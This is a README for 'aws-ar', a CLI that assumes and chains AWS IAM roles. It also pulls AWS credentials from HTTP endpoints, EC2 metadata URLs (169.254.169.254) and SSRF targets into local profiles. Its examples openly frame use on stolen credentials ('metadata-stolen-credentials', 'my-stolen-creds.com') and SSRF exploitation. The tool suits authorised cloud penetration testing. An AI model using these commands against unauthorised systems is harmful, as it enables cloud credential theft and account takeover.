aws-ar 3.0

Command Line Utility for Configuring Assumed AWS IAM Role Credentials. Supports Endpoint Extractor and Role Chaining.

AWS-AR (AWS Assume Role CLI Utility) 🚀

aws-ar is a production-grade, lightweight command-line utility that streamlines assuming AWS IAM roles, chaining multiple roles recursively, and automatically configuring your local AWS CLI environments.

Instead of manually running aws sts assume-role, copying the temporary credentials, and pasting them into your ~/.aws/credentials file, aws-ar handles the entire workflow in a single command. It creates or updates an AWS CLI profile with the newly assumed role's temporary security credentials.

Additionally, aws-ar features powerful endpoint scraping tools. You can fetch credentials via basic HTTP, pass complex curl commands directly, or even pipe (|) raw JSON/XML/HTML directly into the CLI to easily siphon AWS credentials into your local environment.

✨ Features

• Automated Workflow: Fetch temporary credentials via STS AssumeRole and configure your local profile automatically.
• Role Chaining: Cleanly string together multiple roles (RoleA -> RoleB -> RoleC) safely via memory and write the final credentials directly locally.
• Endpoint Extraction: Scrape embedded AWS credentials directly from HTTP endpoints / metadata URLs.
• Advanced Scraping: Supports fetching via raw curl commands (headers, body, etc.) or standard Unix pipelines (e.g., wget ... | aws-ar --new-profile x).
• Profile Management: Safely update existing profiles or create entirely new ones so your default credentials remain isolated.
• Cross-Account Support: Easily assume roles across different AWS accounts.
• Simplicity: Built cleanly around the existing AWS CLI ecosystem.

📋 Prerequisites

• AWS CLI: The AWS Command Line Interface must be installed and properly configured.
• Python 3.x: Ensure you have Python installed in your environment.

📦 Installation

You can install aws-ar safely and easily from PyPI:

pip install aws-ar

🚀 Usage

The basic syntax for aws-ar requires either a --role-arn, --endpoint, --curl, or piped inputs, along with the name of the new profile (--new-profile) to store the temporary credentials in.

# Assume a single role
aws-ar --role-arn <ROLE_ARN> --new-profile <NEW_PROFILE_NAME> [--profile <SOURCE_PROFILE>]

# Assume a role chain RoleA -> RoleB -> RoleC
aws-ar --role-arn <ROLE_ARN_A> <ROLE_ARN_B> <ROLE_ARN_C> --new-profile <NEW_PROFILE_NAME> [--profile <SOURCE_PROFILE>]

# Extract credentials from an endpoint
aws-ar --endpoint <HTTP_URL> --new-profile <NEW_PROFILE_NAME>

# Extract with complex curl commands
aws-ar --curl "curl -X POST -H 'Authorization: xyz' http://target.com" --new-profile <NEW_PROFILE_NAME>

# Pipe directly from bash!
curl -s http://target.com | aws-ar --new-profile <NEW_PROFILE_NAME>

Arguments

Argument	Requirement	Description
STDIN (Pipe)	Conditionally Required	Pass any output string containing credentials directly into aws-ar via Unix pipe |.
--role-arn	Conditionally Required	The exact ARN(s) of the IAM role you want to assume. Pass multiple ARNs space-separated to assume a chain of roles recursively.
--endpoint	Conditionally Required	An HTTP URL that returns AWS credentials via GET (e.g., metadata service, SSRF exploitation).
--curl	Conditionally Required	A raw shell curl command if you need custom headers, methods, or request bodies.
--new-profile	Required	The name of the AWS CLI profile to create/update with the configured temporary credentials.
--profile	Optional	The name of the existing AWS profile to use when making an assume-role call. Defaults to default.

💡 Examples

Example 1: Basic Role Assumption and Chaining (A -> B -> C) ⛓️

Assume a target role (prod-admin), or chain multiple targets cleanly stringing ARNs together.

aws-ar \
  --profile default \
  --role-arn \
      arn:aws:iam::111111111111:role/AuditRole \
      arn:aws:iam::222222222222:role/InvestigatorRole \
  --new-profile chained-session

Example 2: Extract credentials from an endpoint 🌐

Easily pull credentials directly from an EC2 metadata URL or an exposed web application SSRF endpoint. Let aws-ar cleanly parse dirty HTML/XML and set up the profile automatically.

aws-ar \
  --endpoint "http://169.254.169.254/latest/meta-data/iam/security-credentials/NewRoleTest" \
  --new-profile metadata-stolen-credentials

Example 3: Extracting via curl with Headers 🕵️

If an SSRF endpoint or metadata service requires a specific Token or HTTP verb (like IMDSv2 requires PUT and specific headers):

aws-ar \
  --curl "curl -s -X GET -H 'X-aws-ec2-metadata-token: AQAEA...' http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role" \
  --new-profile imdsv2-credentials

Example 4: Extracting directly via Unix Pipeline | 🪄

Alternatively, you can just use your favorite tools and pass their final STDOUT completely into aws-ar!

wget -qO- http://my-stolen-creds.com/data.json | aws-ar --new-profile my-stolen-credentials

You can now use any of these profiles with any AWS CLI command natively:

aws s3 ls --profile <NEW_PROFILE_NAME>

🛠️ How it Works under the hood

Under the hood, aws-ar securely executes the following:

1. Validates and iterates through your aws sts assume-role chain utilizing os.environ hooks, OR processes your --endpoint/--curl/Pipe streams organically.
2. Extracts the AccessKeyId, SecretAccessKey, and SessionToken using a robust, battle-tested regex parser (bypassing XML/HTML clutter for --endpoint usage).
3. Uses aws configure set to securely inject these short-lived credentials into your specified --new-profile inside ~/.aws/config and ~/.aws/credentials.

🤝 Contributing

Contributions, issues, and feature requests are highly welcome! Feel free to check the issues page or submit a Pull Request.

📄 License

This project is open-sourced and licensed under the MIT License.